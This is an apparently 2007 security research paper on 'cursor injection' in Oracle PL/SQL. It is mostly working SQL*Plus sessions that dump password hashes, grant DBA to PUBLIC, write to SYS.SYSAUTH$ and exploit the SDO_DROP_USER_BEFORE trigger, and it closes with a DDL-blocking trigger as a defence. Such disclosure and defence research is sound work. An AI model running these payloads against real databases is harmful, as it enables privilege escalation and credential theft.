Cursor Injection
-
A New Method for Exploiting PL/SQL Injection and Potential Defences

David Litchfield [davidl@ngssoftware.com]

24th February 2007

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Introduction

On occasion Oracle in their alerts state that the ability to create a procedure or a function is required for an attacker to be able to exploit a flaw. For example, DB02 in the October 2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE trigger. In the Risk Matrix section of the alert it states that an attacker must have the CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. This paper describes a new method whereby an attacker, seeking to exploit a SQL injection flaw in an Oracle database server, may do so without the need to create an auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this research is to show that all SQL injection flaws can be fully exploited without any system privilege other than CREATE SESSION and accordingly the risk should never be "marked down".

The problem for the attacker...

Consider the following PL/SQL procedure:

```
CONNECT / AS SYSDBA
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
GRANT EXECUTE ON GET_OWNER TO PUBLIC;
```

It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a SELECT query which is then executed. Due to the fact that Oracle won't batch queries, for example like Microsoft SQL Server, the attacker is limited in terms of what they could do when it comes to exploiting the flaw. One thing the attacker could do is perform a UNION SELECT to gain access to arbitrary data:

```
SQL> CONNECT SCOTT/PASSWORD
Connected.
SQL> SET SERVEROUTPUT ON
SQL> EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS
-- ');
16B58553D83807DF
```

```
1718E5DBB8F89784
24ABAB8B06281B4C
...
...
```

What if they wanted to do more than just this, though, and perform a DDL or DML operation? In Oracle, the attacker could not simply inject a "GRANT DBA TO PUBLIC" or an "INSERT something into some table" statement after the application defined SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a function and inject this:

```
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID
CURRENT_USER IS
  2  PRAGMA AUTONOMOUS_TRANSACTION;
  3  BEGIN
  4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
  5  RETURN 'GOT_DBA_PRIVS';
  6  END;
  7  /

Function created.

SQL> EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.
```

Here, SCOTT has created a function called GET_DBA and this is then injected into the application defined SELECT query using the concatenation operator - the double pipe. As part of executing the SELECT query the database server also executes the GET_DBA function with SYS privileges and the GRANT succeeds. This GET_DBA function is an *auxiliary inject function* and it performs the real work of the exploit. If an attacker can't create their own functions then they must find a function that already exists on the system - a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned DBMS_EXPORT_EXTENSION package could be used:

```
SQL>
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP
UT".PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--
','SYS',0,'1',0)
```

This package was vulnerable to SQL injection and attacker supplied arguments were embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this package they could execute arbitrary SQL using this function alone - there was no need to inject it into another vulnerable package. As already stated, this has since been fixed.

There are two other functions that can be used as auxiliary inject functions, however, they

can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. Both are currently being fixed by Oracle and until the patch is out they will remain "nameless".

Each of the three known extant functions that can be used as auxiliaries contain a vulnerability of some sort and will all be patched at some stage making their "usefulness" time limited. There is what could be argued as a fourth function that can be abused by an attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say "could be argued" because it's not as straight forward as simply injecting the function - it needs to be primed first. What follows is a description of the new method: it is simple multi-stage attack (so simple in fact I should have thought of it years ago!) and it works on all versions of Oracle and can be exploited by an attacker to run *any* SQL - provided of course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type which is vulnerable to SQL injection.

The DBMS_SQL package

The DBMS_SQL package contains a number of procedures and functions that can be used to execute dynamic SQL queries:

```
SQL> CONNECT SCOTT/PASSWORD
Connected.
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6     DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0);
  7     RESULT := DBMS_SQL.EXECUTE(MY_CURSOR);
  8     DBMS_SQL.CLOSE_CURSOR(MY_CURSOR);
  9  END;
  10 /

PL/SQL procedure successfully completed.
```

Here, we create a cursor called "MY_CURSOR" using the DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case "SELECT 1 FROM DUAL", by using the DBMS_SQL.PARSE procedure. By doing this, the cursor becomes like a handle to this query which is then executed using the DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to execute arbitrary SQL in open a cursor and parse the SQL and then inject the DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object:

```
SQL> CONNECT SCOTT/PASSWORD
Connected.
SQL> SET SERVEROUTPUT ON
```

```
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public''; commit; end;',0);
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  8  END;
  9  /
Cursor value is :4

PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.
```

Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass 4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use the CHR function to convert the number to a character - which can then be concatenated. When the application defined SELECT query executes so too does the DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS privileges - in this case granting DBA privileges to PUBLIC.

Only Half-primed...

Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion detection/prevention system, the attacker wishes to perform an INSERT to achieve the same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. An error is returned from DBMS_SQL: table or view does not exist:

```
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#,
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM
SYS.SYSAUTH$))''; commit; end;',0);
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  8  END;
  9  /
Cursor value is :4
```

```
PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--');
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END;

*
ERROR at line 1:
ORA-00942: table or view does not exist
ORA-06512: at line 1
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1
```

The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a DBA - but as can be seen - an error is generated. Whilst we can't use this to do an INSERT we've already seen we can grant DBA privileges and another action an attacker can take using this method is to create a function - even though they don't have the permissions to do so directly. Let's create a user with only the CREATE SESSION privilege and no more:

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE USER CSESS IDENTIFIED BY PASSWORD;

User created.

SQL> GRANT CREATE SESSION TO CSESS;

Grant succeeded.

SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL>
```

Now with our test user, CSESS, in place let's go ahead, connect as them and create a function even though we only have the CREATE SESSION privilege:

```
SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
begin execute immediate ''create or replace function csess_func (p
```

```
varchar2) return number authid current_user is begin execute immediate
p; return 1; end;''; commit; end;',0);
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  8  END;
  9  /
Cursor value is :4

PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--');

PL/SQL procedure successfully completed.
```

Here we attempt to create a function call CSESS_FUNC. Now see if the function was actually created:

```
SQL> SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL;

CSESS_FUNC('SELECT1FROMDUAL')
-----------------------------
                            1

SQL>
```

All looks good. Now we can use this function to do whatever we want:

```
SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma
autonomous_transaction; begin execute immediate ''''INSERT INTO
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.
```

Note that, on some systems, such as 10g Release 2 a "unique constraint" error might be generated but the INSERT does succeed:

```
SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
```

```
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma
autonomous_transaction; begin execute immediate ''''INSERT INTO
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--');
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma
autonomous_transaction; begin execute immediate ''''INSERT INTO
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END;

*
ERROR at line 1:
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
ORA-06512: at line 1
ORA-06512: at "CSESS.CSESS_FUNC", line 1
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1

SQL> SET ROLE DBA;

Role set.
```

So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with "limited" scope, an attacker can create their own auxiliary inject function to then do whatever they want.

Exploiting the SDO_DROP_USER_BEFORE trigger

In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g Release 2 and before October 2006, when the flaw was patched, this trigger owned by MDSYS was vulnerable to SQL injection. At the time it was believed that this was only exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2006.html#AppendixA]

The problem lay in the fact that the name of the user being dropped was embedded within a block of anonymous PL/SQL:

```
...
...
EXECUTE IMMEDIATE
      'begin ' ||
      'mdsys.rdf_apis_internal.' ||
      'notify_drop_user(''' || dictionary_obj_name || '''); ' ||
      'end;';
...
...
```

This is the vulnerable code from the trigger. Here, "dictionary_obj_name" is the name of the user being dropped and, as this "user" could be arbitrary, it was possible for an attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA privileges an attacker needs to jump through some hoops but it can be done. MDSYS is not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed,

an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. By leveraging this privilege during a SQL injection attack, the attacker can create an auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A "BEFORE INSERT" trigger will be created on this table; this trigger will execute the GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the DBA role:

```
SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SET SERVEROUTPUT ON
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
```

Once logged in CSESS then creates a cursor and primes it with a query that will create the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that our SQL is executing as expected:

```
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!'');
execute immediate ''create or replace trigger system.WHOPPEE before
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null;
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit;
end;',0);
  7  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  8  END;
  9  /
Cursor value is :3

PL/SQL procedure successfully completed.
```

With this done we can see the value of the cursor is 3. We'll pass this as the argument to DBMS_SQL.EXECUTE when we inject it into the DROP USER statement:

```
SQL> DROP USER "''||CHR(DBMS_SQL.EXECUTE(3))||'";
EXECUTING FROM SDO_DROP_USER_BEFORE!!!
DROP USER "''||CHR(DBMS_SQL.EXECUTE(3))||'"
          *
ERROR at line 1:
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist
```

Note we see our SQL is executing as expected - we can tell from the "EXECUTING FROM SDO_DROP_USER_BEFORE!!!" message we output using DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger:

```
SQL> INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');
In the trigger

1 row created.
```

With the trigger having fired, PUBLIC should now have DBA privileges and we should be able to set the role:

```
SQL> SET ROLE DBA;

Role set.
```

And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a user that does not have the CREATE PROCEDURE privilege.

Risk Mitigation

What can be done to help prevent this being used as an attack method? Revoking the PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC execute permission could invalidate a large number of these dependencies. One useable possibility is to limit who can do what in terms of DDL using a trigger. Assuming the only users on a particular database server that should be executing GRANT, CREATE or ALTER are "SYS", "JIM" and "JANE" then the following trigger could be created:

```
 CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE
 DECLARE
    V_USER VARCHAR(30);
 BEGIN
    V_USER := SYS_CONTEXT('USERENV','SESSION_USER');

    IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN
            RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY
NOT EXECUTE DDL');
    END IF;
 END;
 /
```

If we now retry the attack the trigger will prevent us:

```
SQL> CONNECT CSESS/PASSWORD
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
begin execute immediate ''create or replace function csess_func (p
varchar2) return number authid current_user is begin execute immediate
p; return 1; end;''; commit; end;',0);
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  8  END;
  9  /
Cursor value is :4

PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--');
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END;

*
ERROR at line 1:
ORA-20002: USER CSESS MAY NOT EXECUTE DDL
ORA-06512: at line 7
ORA-06512: at line 1
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1
```

If we try to disable the trigger we get the same error. If we attempt to grant CSESS the ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or CREATE ends up with it being blocked by the trigger. This method appears to be effective as a preventative measure.